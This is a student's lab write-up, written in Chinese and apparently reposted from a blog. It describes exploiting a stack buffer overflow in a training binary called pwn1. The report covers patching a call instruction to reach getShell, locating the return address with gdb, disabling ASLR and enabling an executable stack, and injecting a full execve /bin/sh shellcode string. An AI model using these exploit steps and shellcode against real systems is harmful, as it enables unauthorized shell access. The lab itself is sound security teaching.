exp1 PC平台逆向破解(5)M
一、实验内容
- 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 3.注入一个自己制作的shellcode并运行这段shellcode。
二、实验目的
- 1.运行原本不可访问的代码片段
- 2.强行修改程序执行流
- 3.以及注入运行任意代码。
三、实验过程
第一阶段
- 1.将pwn1代码拷入kali上,改名20155313pwn1。
- 2.使用
objdump -d 20155313pwn1 | more
查看该代码的反汇编代码。其中的call 8048491
的汇编指令是调用位于地址8048491处的foo函数。 - 3.我们需要通过修改其对应的机械码,将此调用改为调用shellcode,将
e8 d7
改成e8 c3
。 - 4.然后转换回原格式并查看修改后的反汇编代码。
- 5.使用
./20155313pwn1
与./20155313pwn2
对比修改前后的功能区别。
第二阶段
- 1.通过对20155313pwn1使用gdb进行调试,分别测试
1111111122222222333333334444444455555555
和1111111122222222333333334444444412345678
,来查找eip寄存器的值具体是多少,并推断是哪几个字符串覆盖了返回地址。 - 2.已知
1234
溢出buffer区域进入内存覆盖了返回地址,然后通过断点测试确认使用小端输入。 - 3.在注入shellcode代码之前进行准备工作的设置。
[email protected]:~# execstack -s pwn1 //设置堆栈可执行 [email protected]:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1 [email protected]:~# more /proc/sys/kernel/randomize_va_space 2 [email protected]:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 [email protected]:~# more /proc/sys/kernel/randomize_va_space 0
-
4.我们使用
anything+retaddr+nops+shellcode
结构构造攻击buff。并使用gdb通过设置断点,来查看注入buf的内存地址。查找到这个地址为0xffffd2fc,根据教程上选择了相邻加4的地址,最终确定shellcode的地址为0xffffd300。Linux下有两种基本构造攻击buf的方法: retaddr+nop+shellcode nop+shellcode+retaddr。
-
5.最后使用构造输入字符串实现攻击,该字符串为
\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
。
原文地址:https://www.cnblogs.com/bonsai/p/8591874.html
时间: 2024-10-17 19:06:35